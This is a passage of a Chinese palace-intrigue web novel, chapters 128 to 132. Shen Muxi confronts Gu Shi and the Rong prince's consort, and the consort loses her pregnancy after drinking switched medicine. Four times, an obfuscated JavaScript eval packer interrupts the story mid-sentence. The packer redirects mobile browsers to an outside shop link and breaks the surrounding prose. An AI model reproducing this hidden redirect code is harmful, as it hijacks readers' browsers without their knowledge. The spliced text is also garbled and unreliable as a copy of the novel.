终于等到书房外的看守侍卫换班。 沈慕兮猫起身子就要悄悄潜入书房的时候,一柄利剑悄然横在了她的颈边。 她身子骤然一僵。 感觉到对方下一刻就要抹了她的脖子,她迅速歪了歪身子,蒙在脸上的纱巾因此掉落。 早在潜入荣郡王府的时候,她就做好了被抓住的准备。 所以她用的是沈慕兮原先的脸,欲盖弥彰地用帕子挡了一下。 为的就是被抓住的时候,恶心一下府上的其他人,顺便吓吓苏柳溪母女。 但是,当她看到顾时的目光从阴鸷转变成震惊再到狂喜的时候,她又有点后悔了。 按照顾时自大的性子,搞不好他还以为她是特地潜入荣郡王府就是为了偷偷见他 似是印证了她的想法,顾时推开了陈十六持剑的手,故作冷淡地开口道,“不是说了要给彼此体面吗?怎么才几天就按捺不住了?” 晦气。 沈慕兮努力强忍着自己想要翻白眼的冲动,随意找了个借口。 “我是来带筱筱离开的。” 顾时吩咐陈十六退下之后才重新转身看向她,“筱筱在这里很好,她不想离开。” “想不想,可不是你我说了算,得看孩子的意思。” 她的一番话说得冷静又冷淡。 顾时的眼睛一错不错地看着她,生怕一眨眼,她就消失在眼前。 同时,他更加想要在她的眼里寻回以前的热切 可是没有 不仅没有了热切,甚至连多余的情绪都没有。 强行的伪装终究还是支撑不下去,他像是被抽走了所有的力气。 “对不起。” 哈? 突如其来的道歉,沈慕兮以为自己出现了幻听,眼底疑惑一闪而逝。 “筱筱的脸”顾时到嘴边的话,硬是打了好几次转才能说出口,“我当时不知道这么严重。” 他不主动提起之前筱筱的脸被咬伤的事情还好,现在一提起,沈慕兮好不容易已经平复下去的情绪一下子像是找到了倾泻的口子。 她脸上的淡然再也维持不住,连带对顾时的恨意也愈发明显。 “一句对不起,可以让雪球回来?可以让筱筱的脸恢复原样?”沈慕兮冷笑,“顾时,这句对不起,你不应该跟我说。” “我已经跟筱筱道过歉了。”顾时抢在沈慕兮再次说话前开口,“筱筱现在也原谅了我,她不会离开” 若是你愿意,我可以让你跟筱筱一起住在碧水源。 “不需要,哪怕筱筱现在真的愿意原谅你,可这也不代表,你的伤害不存在。” 顾时后面的话还没来得及说出口,沈慕兮已经激动地打断了他的话,“你可以不爱我们母女,可你千不该万不该,将我们接回来却又不闻不问” 说到后面,她的声音已经哽咽得不成调,她一把推开了顾时,小跑离开。 不远处的陈十六想要追上,被顾时阻止了。 “不必追了。” 他看着沈慕兮离开的方向,目光涣散,嘴里喃喃道,“只要孩子还在府上,她还会回来的。” 陈十六眉心微微蹙起,却不敢多说其他。 转头看到地上有一方帕子,他上前几步想要捡起来。 一只骨节分明的大手比他的快了一步。 帕子上,绣的是一幅锦鲤戏莲图。 顾时拿着帕子微微颤抖。 思绪一下子飘回去了在丹阳时候。 他与她认识的第一年,他们的生活还是十分拮据。 是她用青菜豆腐,给他们做了满满一桌的年夜饭。 其中就有了用豆腐跟菜叶子做成的锦鲤戏莲——豆腐调成的鲤鱼,还有青菜叶子充当的荷叶。 那顿年夜饭,是他们流落丹阳后吃得最精致的一顿,连向来挑剔的母妃,也没有多说半个字。 似是鬼使神差一般,他忍不住将手中帕子放到手中轻嗅。 还是那一股淡淡的荷花清香。 沈氏不喜胭脂水粉,独爱荷花,所以,每年夏季取藕丝的时候,她都会捡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14287846|152038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些荷花花瓣,回家烘干,碾成粉,缝入香囊。 那种香囊,他也有过一个 沈氏知道他向来夜里难眠,特地给他的香囊加入安神草。 可惜,刚回荣郡王府的时候,那个香囊被他丢了 想到这里,顾时握着丝帕的手紧了紧,整个人看上去失魂落魄的。 刚才沈慕兮小跑离开并未走太远,所以她得以将这一幕全数收入眼底。 当他看到顾时小心翼翼地将丝帕收入怀中的那一刻,她的嘴角缓缓勾起一抹冷笑。 在顾时的刻意叮嘱下。 苏柳溪知道虞悦希被剜肉治伤已经是几天后。 她一直想要找时间见女儿,结果得到的答复,都是不见。 这是翠娥数不清多少次在落霞苑吃了闭门羹了。 “小姐,小小姐肯定是因为天狼的死与 您生了嫌隙,要是再这样下去,你们母女必定会离心。” 苏柳溪现在只要情绪激动,小腹就隐隐作痛。 前几天,陈十六亲自来告诉她,顾时重遇沈慕兮,还藏起了一条帕子,已经让她十分惊恐。 要不是顾时下令这些天不让她下床,只怕她早已找机会去找虞悦希亲自问清楚关于骸骨的事情。 想到这几天,顾时都宿在书房,她更是坐不住了。 “罢了,现在她这个样子估计也听不得旁人劝说,我亲自去找他。” “小姐,您现在还不能下床” “去安排。” 苏柳溪不愿再听翠娥多说。 现在都火烧眉毛了,她还能坐得住才怪了。 就在苏柳溪挣扎下床要亲自去看虞悦希的时候,虞悦希也没有闲着。 “你确定,顾叔叔这些天真的都去了那个小贱人那里?” 辛婆子听到虞悦希对顾筱筱还是一如既往地显露厌恶,恨不得立刻上去封住她的嘴。 “我的小姐啊,咱们可不兴说这样的话,现在筱筱小姐正得宠着,你要是让其他有心人听了去,可怎么办?” 虞悦希冷哼,“还能怎么办?即使听了去,她也是一个死了娘的孤女,我还怕她不成?” 第128章 母女争吵 自从那次打了尤大夫以后,虞悦希还被顽这些天被禁足在落霞苑,虞悦希的脾气看上去像是被压下去了。 实际上,长期积压久了的情绪就像是一个随时会爆炸的炸弹。 稍微有点火星,便会将周围的人炸个粉身碎骨。 因此下人们只敢在一旁听着虞悦希说话,其他话不敢再多说半句。 唯独只有辛婆子,还在苦口婆心地劝说,“话是这么说没错,可是眼下王妃还要养胎,若是你在这种时候再出什么岔子,只怕,她也是鞭长莫及” 辛婆子不提苏柳溪还好,一提起苏柳溪,虞悦希只觉得怒火控制不住地往上拱。 “哪有像她这样做娘亲的,护不住我的狗也就算了,我这些天脸上伤成这样,她居然连一个问候都不给我” 虞悦希其实是很伤心的。 因为,她做的一切事情,只为了能够得到母亲的肯定。 可这些天,苏柳溪的冷落,顾时的偏心,着实让她心寒。 “母女二人,能有什么隔夜仇?” 辛婆子语重心长地劝说,“老奴还听说了,前些天王妃差点小产,王爷本来还十分震怒,也是在王妃的劝说之下压下了怒气,您” 虞悦希“哼”了一声,“若是她一摔倒就能把孩子摔没了,只能说明那个孩子太没用,不能要,孩子脆弱,能怪我吗?我看啊,那个孩子保住也不是什么好事,谁知道什么时候不小心又没了?” 虞悦希的话再次让辛婆子对于虞悦希有了新的认知。 原以为,她只是骄纵跋扈,不知人间疾苦。 可面对亲生母亲,还有她母亲肚子里还未出生的那个孩子,她竟然也有这么大的恶意,可想而知,她这是从骨子里带出来的恶毒 后脊一阵发凉,辛婆子愈发认为自己的选择正确,甚至已经不想再多看虞悦希一眼。 “小姐,小厨房的药快好了,老奴去看看。” 突然,她似乎想起了什么,顿住了脚步。 在虞悦希看向她的时候,她又旁若无人地继续迈开步子,嘴里还不忘嘀嘀咕咕地开口,“其实王妃不来,似乎也不是什么坏事,小姐喝的药有活血生肌的功效,孕妇闻不得。 王妃来了,万一因为闻了药味出点什么事情,我们这些做下人的,可担待不起啊。” 她的声音不大不小,刚好全数落入了虞悦希的耳中。 虞悦希眼底迅速闪过一抹深思。 就在辛婆子走开没多久。 小红快步进了屋,脸上的喜色无论如何都掩藏不住。 “小姐,王妃来了。” 虞悦希眼底划过一丝诧异。 很快就被欢喜掩盖。 “快,帮我换衣服。” 到底她也只是一个孩子,嘴上说的话再毒,做的事情再狠,心里还是一个对母亲有依恋的小姑娘。 因为太过欢喜,换衣裳期间,小红不小心蹭到了她还在发痛的右脸,她难得没有发火。 然而,她脸上的欢喜神色在看到苏柳溪白着脸出现的那一刻,全数消散。 苏柳溪看向她的眼神,只有审视,全然没有她意料之中的担心。 她眼底的闪过一丝失落,目光淡淡地扫了一眼她已经显怀的肚子又迅速移开。 “你来做什么?” 苏柳溪微微蹙眉,“你现在这是什么态度?” “没什么态度,只是觉得,如果你真的担心我,早就在我脸上要被挖肉治疗的时候来了,现在来,是找我算账吗?” 她的语气没有起伏,然后一不小心后槽牙紧咬,还是让她脸上的伤口崩裂了。 鲜血很快染红了脸上的纱布。 “你的脸在流血。” 苏柳溪惊呼一声就要上前看她的伤势,她受伤地后退了一步,不让她靠近。 苏柳溪拧紧眉头,“悦悦,莫要胡闹。” 翠娥看不下去了,横在母女二人中间,劝说虞悦希,“小小姐,您不要气王妃了,王妃今日本来还需要卧床,可是听到你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14287847|152038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的脸要剜肉治伤,她担心得不得了,完全不听劝阻” “我说什么了吗?”虞悦希的脸上写满了与实际年纪不相符冷冽,“这是我们母女二人的事情,轮到你插嘴了吗?” 苏柳溪将翠娥拉回去自己身后,语带警告地唤了一声“悦悦”。 脸上剧痛,让虞悦希像是失了理智一样,谁说话,她无差别反驳谁。 尤其是当她看到苏柳溪为了维护一个丫鬟而开始对她语气不善。 她更是咬牙切齿地开口道,“我就知道,在你心里,我永远只是你用来争宠的工具,以前用来吸引虞府老虔婆的注意力,现在用来对付顾筱筱那对贱人母女” “你闭嘴” “难道不是吗?”看到苏柳溪像是被戳穿了心中想法一样恼羞成怒,虞悦希在眼里打转的泪花最终还是凝成了一颗颗滚落的泪珠。 “在你心目中,连你身边的丫鬟,都比我重要,你明知道,我最喜欢的是天狼,你肚子里有孩子,但凡你用孩子要挟一下顾叔叔,天狼也不至于被打死,可是你却没有这样做,你根本就不配做我娘” “你简直是疯了。” 苏柳溪已经听不下去她说出来的满口胡言,转头就要叫来落霞苑其他下人。 还没等她开口,虞悦希就已经先拉着她的手,拽着她往外走。 “对,我疯了,那你还不快滚?我现在多看你一眼也觉得恶心。 我算是明白了,天狼就是你给顾叔叔的投名状,为了你肚子的野种,为了你荣郡王妃的位置,搞不好哪天顾叔叔为了顾筱筱要找我算账,你也会毫不犹豫地将我推出来,任由顾筱筱处置,你现在已经彻头彻尾变成了顾筱筱的哈巴狗了” “啪——” 一记响亮的耳光落下,虞悦希被疼痛冲昏了头脑,忽视了苏柳溪被她气得通红的眼眸,竟像是疯了一样用力将她推开。 苏柳溪跟翠娥做梦都没想到,虞悦希还会推她第二次。 惯性太大,苏柳溪直接从屋外石阶滚落下地。 第129章 母女决裂:从今天开始,悦悦不要你了 这一摔,她好半晌没能爬起来。 翠娥扬声就要大声呼救。 被苏柳溪阻止了。 “翠娥,不要声张” “可是小姐” “好了,你退下,我心里有数。” 虞悦希早已在看到苏柳溪从石阶滚落在地的那一刻心生后悔。 在看到翠娥退下,而苏柳溪看向自己的时候,她甚至都已经生出了想要上前将苏柳溪搀扶起来的冲动。 正当她做好了心理准备,要上前扶起苏柳溪向她道歉,下一刻,苏柳溪的话直接打碎了她仅存的念想。 “残骸,是不是你动的?” 苏柳溪缓缓从地上爬起来,脸色煞白的冷眼看向她。 那种冷漠的眼神,根本不像是一个母亲看自己孩子的目光。 不知为何,明明心里已经知道了娘亲已经不如以前喜欢自己,可是在对上娘亲冷漠眼神的那一刻。 她还是难过得想哭。 脸上很疼,可是比不上胸口位置传来的疼痛。 “是,那些东西,是我的动了。” 她歇斯底里地哭喊出声,“我不仅动了,我还让人把残骸做成了骨木镶嵌的扇子,送给顾筱筱那个小贱人了,你想怎样,是不是让人将我赶出荣郡王府?” 她的眼泪像是不要钱似的往下砸,缠着纱布的半张脸早已被泪水濡湿,通红一片。 苏柳溪别过头不看她,“现在扇子在哪?” “想要扇子?” 虞悦希喃喃开口,眼底闪过一丝报复的快意,“我偏不告诉你。你对我,从头到脚只有利用,从今天开始,悦悦不要你了。” 说完,虞悦希头也不回地转身回屋,关上了房门。 女儿突然性情大变,是苏柳溪始料未及的。 一股无力感涌上心头,她趔趄着后退了一步,被发现了她不对劲的翠娥上前稳稳接住。 “小姐” 因为担心,翠娥的声音还带着哭腔。 “哭什么?我还没死呢。” 虞悦希心烦意乱地任由翠娥搀扶着,回想起虞悦希嗜血的眼神,她只觉得遍体生寒。 “我到底,养了个什么东西?” 不过才八岁,竟然就敢动那些常人敬而远之的东西,连带说出来话也像是毒刺一般刻薄刁钻 翠娥不知道沈慕兮心中所想,只以为她在为虞悦希伤神,一路都在小心翼翼的劝说,“小小姐可能只是一时想不开,小姐身子要紧。” 苏柳溪抿唇。 “她不会想不开的。” 纵然她再不想承认,有些东西,还是随了根 悦雅巷。 顾时从旭日东升一路等到太阳挂在天空正中央,总算等到了出门采买的红豆。 “这位姑娘,请问一下,赁下这里的,可是一位姓沈的主家?” 自从捡到沈慕兮的帕子以后,顾时总是忍不住会想起两人在丹阳时候的点点滴滴。 每当想到沈慕兮,他的心里就像是钻进去了一只怪虫,咬得他抓心挠肺的,心心念念,只为再见沈慕兮一面。 原以为,她居住的地方,是之前他与她重遇的那座宅子。 可一连好几日,宅子里出来的都是新面孔。 几经打听,他才确定了沈慕兮真的住在悦雅巷尽头的这处二进小宅子。 从两天前开始,他几乎有时间就在这里等着 红豆自然知道顾时。 可严格意义上,两人算是第一次见面。 因此,在顾时拦下她问话的时候,她十分上道地表现出自己的震惊与害怕。 “这这位公子您是怎么知道我家姑娘姓沈的?” 顾时的眼神一直往里看。 “我我有要事想要寻她确认。” “那可真不巧,我家姑娘出门跟人谈事了,若是公子想要找她,估计得后天来才能见到她。” 外出 后天 顾时迅速抓住了这两个点。 正欲开口再细问,红豆已经抢在他前头先开口了,“公子认识我们姑娘?” 眼前提着拦着的圆脸小丫鬟眼神澄澈,一脸单纯,俨然就是临时被勾起了好奇心。 顾时隐在袖中的双手紧紧攥住沈慕兮落下的帕子,苦笑道,“旧识。” 他的语气低落,不知道的人还以为两人有什么过往。 红豆脸上神色没有半分变化,只朝顾时微微笑道。 “既然公子与我家姑娘是旧识,那回头我跟我家姑娘说一下。” 顿了顿,她又开口道,“若是公子方便,也可以给我留个口信,回头我帮您转达给我家姑娘。” 顾时攥着帕子的力度又紧了几分,“劳姑娘帮忙转达,告诉你家姑娘,一个姓顾的旧识寻她。” 红豆眉眼弯了弯,“好的。” 与此同时。 荣郡王府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14287848|152038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 苏柳溪在落霞苑摔了一跤。 好不容易回到住院,腹中疼痛依旧没有减缓半分。 无奈之下,她只好躺在床上。 翠娥担心地看着她。 “小姐,实在不行,咱们请个大夫看看吧。” 苏柳溪的脸色惨白如纸。 她摆了摆手,“若是找大夫前来,顾时肯定会询问我今日的行踪” “这个事情,分明是小小姐做得太过,你还维护她” “不是我维护她,”苏柳溪抬手搭上翠娥的手,“而是,有些事情,不能细查。” 一查,到时候把沈慕兮的事情也抖搂出来了,只会得不偿失 她眼底逐渐染上凝重。 转头对上翠娥担忧的目光,她安慰道,“别担心,我的药应该差不多了,你去小厨房给我端过来,喝了药,我歇一歇就好了。” 翠娥深知自家小姐是什么性格。 最后只好不情不愿地去端药。 不多时,她捧着药回来了。 “小姐,起来先喝药。” 苏柳溪接过翠娥的药。 即将喝下去的时候,她停住了,微微皱眉,“今日的方子换了?” 翠娥摇头,“一直都是这个啊。” 苏柳溪喝了下去。 顾时瞒着苏柳溪去了悦雅巷寻沈慕兮,在悦雅巷离开的时候并没有太大的感觉。 可是回到荣郡王府的那一刻,他即将能见到沈慕兮的欢喜,顿时被一股莫名的愧疚感包裹着。 那是对苏柳溪的愧疚。 尤其是回到房间的时候,刚好看到卧床的苏柳溪欢喜地下床迎接他,他心中的愧疚顿时达到了顶峰。 他上前一把将苏柳溪抱回床上,语气宠溺又疼惜,“不是让你不要随意走动吗?” 苏柳溪乖乖任由他抱着,“我也只是躺太久了,像活泛活泛筋骨,下次不会了。” 顾时轻柔地将她放回床上,“好好休息,养好身体。” 苏柳溪刚想点头说“好”,一股剧痛迅速从她的肚子蔓延开来。 她的脸色顿时惨白一片。 “顾时哥” 她紧紧握住了顾时的手,惨叫了一声。 顾时还未来得及离开就听到苏柳溪的叫唤,转头看到苏柳溪脸色煞白,还有飘荡在空气中、若隐若现的血腥味,他顿时脸色一变。 “来人,快请大夫。” 第130章 沈慕兮回来了 半个时辰后。 刘大夫遗憾地叹气收回手。 “请恕老朽无能,王妃的孩子,只怕要保不住了。” 顾时再也维持不了脸上的风度,伸手一把薅过刘大夫的衣领,“这到底是怎么回事?不是施针卧床服了药就好了吗?” 以为是自己做的小动作被顾时发现了,突然被顾时拽到面前的那一刻,刘大夫心中慌乱无比。 下一刻,听到顾时的话,他心中的慌乱立马消散无踪,“卧床的前提,是不能下床,可是王妃身上沾了寒气,分明是下了床的迹象,而且” 说到这里,刘大夫顾不得自己还被顾时拎着领子,目光飞快扫了一眼床边落下的帏帐,“王妃似乎有过外力的伤害或是动过胎气,气血骤然不稳,那也是十分不利于养胎的。” “她出去过?” 顾时松开了拎着刘大夫衣领的手,森寒的目光落在了翠娥身上。 翠娥双腿一软,“噗通”一声跪在地上。 “王妃听说悦悦小姐的脸伤得严重,实在是担心,这才” “简直胡闹。” 顾时一声怒斥,翠娥闭上嘴巴,连呼吸都不敢太用力。 苏柳溪闻言躺在床上,知道今日若是自己不主动交代一切,哪怕翠娥不说,顾时肯定会查。 她顾不上肚子还在疼痛,虚弱开口,“顾时哥,不要怪翠娥,是我自己让翠娥去打听关于悦悦的一切,也是我坚决要去看悦悦的,她到底也是我的孩子,你若是要责罚,就责罚我,不要累及无辜” 床上女子的声音很轻很轻,轻得像是一不小心就会被风吹散的柳絮。 孩子的事情,非她所愿,母亲最大的为难,莫过于对自己的孩子难以做到绝对的公平 顾时心疼地看着逶迤落在地上的帏帐,恨不得自己的视线可以立刻穿过帏帐看向床上的女子。 他转头问刘大夫,“现在需要如何去做?” “孩子在王妃腹中已经保不住了,劳烦王爷先去寻稳婆,小老儿这就回去医堂取药,王妃的身体养一养,以后还是有很多机会可以要孩子的。” 听到刘大夫的话,顾时总算放心了。 按照刘大夫的话吩咐下去以后,他才转身回床边掀起帏帐。 床上人儿早已哭得跟泪人似的,眼泪像是不要钱一般泊泊往外涌,沁入了她鬓边发丝,也濡湿了一大片软枕。 在看到顾时掀开帏帐的那一刻,她双目通红、欲语泪先流的破碎模样。 看得顾时的心都要拧在一起了。 顾不得什么污秽不污秽,他小心翼翼地将她鬓边凌乱的发丝拢在耳后,之后才坐在床边,左手轻轻握住了她的手,右手指腹温柔地拭去她脸上的泪痕,“不用担心,孩子没了,我们以后还可以有,最重要的是,你先好好休息。” 他的眼里,盈满了对她的担忧。 也许是顾时久违的温柔给了苏柳溪安全感。 又或许是她的身体真的很累,在感觉到顾时温柔安抚的那一刻,她心里紧绷的一根弦骤然绷断,整个人松懈了下来,经昏昏沉沉地睡了过去。 闭上眼睛没多久,她甚至还能感觉到顾时离开了她的身边 四周一片寂静,连外头下人可以放轻声音的紧绷情绪,她都能感觉到。 不知过了多久。 她感觉到似乎有人开了房门,走到床边 一直盯着她看。 那种凉飕飕的感觉,让她后脊发凉,她猛然睁开眼睛。 光线微弱的房间里,她对上了一张陌生又熟悉的脸 “啊——” 她的声音才刚起了个音,就卡在了喉咙里。 一柄匕首,毫不留情地横在她的颈脖。 她的皮肤甚至还能感受到匕首的锋利以及金属触感。 “如果我是你,我就会乖乖闭嘴。” 纵然声音十分冷淡且没有半点情绪。 可是这个声音,苏柳溪做梦都忘不了。 真的是沈慕兮!! 苏柳溪瞪圆的双眸里满是惊恐。 “你是人是鬼?” 她艰难地从嘴里挤出几个字。 沈慕兮冷冷勾起嘴角,“怎么,你这种人也会害怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14287849|152038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鬼敲门?” 苏柳溪努力想让自己的神色冷静下来。 可是眼前人就这样全须全尾站在自己面前,所有心理暗示全部无用。 最后,她只能像是说服自己一般呓语,“不可能,绝对不可能。” 她亲眼看到沈慕兮在她面前惨死了,脸皮被剥,连尸体都是残缺的,眼前人身体完整,即使是做鬼,眼前鬼也绝对不可能是沈慕兮。 心中想法愈发坚定,苏柳溪看向沈慕兮的眼神也逐渐变得阴鸷。 就在她想要开尖叫引来其他人之际,沈慕兮随手自她枕边抓了一条帕子塞进她的嘴里紧紧捂住她的嘴不让她开口。 “你知道吗?”她看向苏柳溪的眼神一片薄凉,“这几个月,我无时无刻都不在想着如何要你的命,好在,皇天不负有人心,总算让我找到机会了。” 直到感觉到捂在自己口鼻之间的力度,苏柳溪才完全确定沈慕兮真的没死。 苏柳溪惊恐得 瞪大眼睛,拼命摇头。 “怎么?看到我活着,你不开心了?”沈慕兮笑着抚上了她的脸,“当时,你是多爱我这张脸,才会想着要活剥了我的脸皮?” 细腻的指尖带着指甲,划过脸颊的时候还带起微微刺痛。 苏柳溪只觉得浑身发冷,后背的鸡皮疙瘩都起来了。 她奋力挣开了她捂住自己口鼻的手,用舌头顶走了塞在嘴里的帕子。 “你敢这样对我,顾时哥不会放过你的唔咕噜咕噜” 她话还未说完,就被毫不留情地用竹片撬开了牙关,导入了整碗药汁。 药汁苦涩,苏柳溪只觉得舌头都要麻了。 她不甘心地瞪着沈慕兮。 奈何她只来得及看清对方那抹漫不经心的冷笑,眼皮像是千斤重,很快就失去了意识。 睡梦中,她的腹中像是被匕首狠狠地搅弄着,痛得她几乎呼吸不过来。 “不不要。” 她倏地惊醒。 “小姐,你醒啦?感觉怎样了?” 翠娥听到动静,立刻走到床边担心地看着她。 第131章 沈慕兮回来了,她要索命,害了我的孩子 天色已然大亮。 小腹位置传来的疼痛感依旧剧烈。 苏柳溪惊恐地看了一圈周围,前额早已被冷汗浸透。 “你什么时候在这里的?房间里面,是不是进来过其他人?” 因为激动,她上半身几乎要坐起来,翠娥连忙安抚她。 “小姐,你现在还不能坐起来。” “到底是怎么回事?” 现实跟梦里的场景在不断交错。 最后定格在沈慕兮那个冷笑。 “不不对,我的孩子呢?” 苏柳溪惊恐地伸手覆上自己的肚子,本来已经微微隆起的肚子已经不见了。 她心中惶恐顿时到了极致。 “我的孩子去哪了?” 翠娥一脸心疼地看着她,“小姐,您累了,要不好好休息一下。” 苏柳溪反手握住了翠娥的手,“不,翠娥,昨晚我不是梦,是沈慕兮,沈慕兮回来了,她要索命,害了我的孩子。” “我要见王爷,你们让人找王爷来,实在不行,我出去也可以。” “小姐,刘大夫说了,您这几天只能卧床,”翠娥拦下了苏柳溪想要下床的动作,“而且,孩子是昨天就保不住的,您忘了吗?” 经过翠娥这么一提醒,苏柳溪想起来了。 她在虞悦希那里摔了一跤。 而且,她的亲生女儿,还说不要她了。 仅仅只是因为她没有帮她保下一条狗 可是,那条狗既然是她养的,在当时那种情况下,她弃了狗保全她们母女,她没有觉得不对的地方 反而悦悦 最近的所作所为,着实让她心寒 不过只是转瞬之间,她的思绪已是百转千回。 翠娥看到她已经不再挣扎,小心翼翼地将她扶回床上,让她躺好。 “小姐,小月子跟月子差不多,若是哭多了容易伤了眼睛,先喝药吧。” 翠娥喂药的动作,一下子让苏柳溪想起昨晚被强行灌药的场景,她躺在床上抗拒地别过脸。 “我没胃口,你先放一边。” “可是大夫说了,这药得趁热喝” 苏柳溪俨然已经不想再听翠娥多说其他,“我说了,你先出去吧,让我一个人静一静。” “你身体都虚弱成这样了,不喝药怎么行?” 门口处传来了顾时的声音,苏柳溪立刻转头往外看。 顾时竟然不知道什么时候回来了。 她又惊又喜,想要起来,却碍于还不能坐起来,只能在床上凄凄惨惨地唤了他一声。 “顾时哥。” 顾时从翠娥手上接过还带着温度的汤药坐在床边,“你现在的身体,不喝药,很难复原,我来喂你。” 说话间,他已经坐在了床边,舀起一勺药汁递到了她面前。 翠娥看到苏柳溪没有之前那么抗拒,连忙跟着劝说。 “是啊,王妃,悦悦小姐刚才也来看过您,想来也是很担心您,这种时候,您更应该好好养身体,不让悦悦小姐担心。” 喝下一口苦涩的药汁,苏柳溪的眼眸多了一点神采,“悦悦来过?” “是啊,”翠娥点头,“她来看了您一下,很快又离开了,说她现在还在禁足,能来看看您,她已经很满足了。” “悦悦肯定已经知道错了。” 苏柳溪可怜兮兮地看向顾时。 顾时的脸色虽然难看,可还是没有再发难。 “先喝药。” 他又舀了一勺药汁喂给苏柳溪。 再次咽下一口药汁以后,苏柳溪忍不住又开口道,“顾时哥,悦悦还小” “好了,我知道了,只要你这些天好好养好身子,我便解了悦悦的禁足。” 顾时看似好说话,可是脸色淡然,让人看不出他在想什么。 苏柳溪心里没底,终究还是不敢再多说其他。 顾时难得有耐性,一勺一勺喂她喝药。 这药,从喝下去的第一口,她就感觉到了有点似曾相识的感觉。 只是刚才顾着给虞悦希求情,她的心思没在药上。 这会整完药见底了,她突然打了个寒战——这味道,跟她在梦中喝的那一晚苦得舌根发麻的药汁一模一样。 熟悉的剧痛传来,再次惨白着脸抓住了顾时准备 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“请恕小老儿医术不精,”顾时的脸色实在难看过了头,刘大夫本来有点微微佝偻的腰弯得几乎要对折,“王妃身体本来还很虚弱,如今又喝下了这大寒之物见了红,往后,只怕有碍子嗣了。” 顾时双拳紧握,努力让自己的声音变得平静,“你口口声声说这不是你的房子,可有证据?” “小老儿开的房子都在药堂留底,若是小厨房有药物残渣或者王妃有喝剩下的药汁,小老儿就可以给自己证明清白。” 顾时反手只想那碗还剩下一小口分量的药汁,“还剩下一口。” 刘大夫喜出望外,上前捧起药碗轻嗅,很快,他眼眸微亮地放下了,“不对,这不是小老儿开的药。 最起码,小老儿的药里要用的是十蒸十晒的熟地黄,熟地黄温补,适合产后妇人供养气血,可是这药汁带苦涩味,显然用的是生地黄,二者功效截然相反。” 第132章 虞悦希又逃过了一劫 “这怎么可能?” 翠娥脱口而出。 刘大夫没有理会翠娥,而是朝顾时恭敬行礼,“若是王爷信得过小老儿,小老儿现在还揣着给王妃开出来的方子,也从那碗残药之中推测出了大概的方子,稍后您让下人去按照两个方子抓药,再现煎一帖药,两者药汁的色泽一对比,自然就真相大白了。” 眼看翠娥还有些踟蹰,顾时不耐烦地开口,“愣着做什么?还不按照刘大夫说的去办?” 翠娥本来还想看向苏柳溪,按苏柳溪的口风办事,看到顾时脸色黑沉,她当即不敢多说,急忙退下。 下人的速度很快。 两份药汁很快呈了上来。 顾时立刻上前查看。 “果然如刘大夫所说,色泽完全不同。” 刘大夫却脸色凝重地看向另外一碗药汁,“这方子还加了黄莲和鹿角胶” “有什么问题吗?”顾时不解地看向刘大夫。 “黄连性寒,与生地黄一起,可以排血毒清内热,鹿角胶可促生肌,小老儿看着倒像是尤大夫开给悦小姐的方子,怎么会突然出现在这里呢?” 听到刘大夫的话,顾时的眼神迅速如刀子一般的眼神射向负责煎药送药的婆子。 婆子看上去五十出头,体型瘦小,一双小眼睛透着掩盖不住的精明。 在顾时的注视下,她最终还是扛不住主子散发的威压,“噗通”一声跪到地上。 “王爷饶命,是老奴真的不知道发生什么事情” 早已在厨房听说了王妃因为吃错了东西导致见了大红。 王爷没有遣人来拿人,她还抱着侥幸的心理。 谁能想到,她都还没来得及退下,主子就发难了? 陈十六一听,就觉得事情不妙,刚想上前阻止这个老妇说下去,结果也不知顾时是有意还是无意,竟然挡在了他的身前。 “你现在若是肯老实交代,本王还能饶你一命,否则” 他的语气听不出喜怒,婆子早已吓破胆子,连连磕头。 “王爷饶命,老奴说,老奴说 是是悦悦小姐身边的小红,让老奴帮忙煎药,她们还给老奴塞了一双素银手镯,是老奴贪心,一时财迷心窍想着不过只是一帖药的事情,没想到小红竟会拿错药,出了这样的岔子,求王爷饶老奴一命。” 听完婆子的话,顾时的脸色已经黑沉如水,“将这老妇拖下去,去将虞悦希带过来。” 荣郡王府的布局与一般府邸宅子不一样。 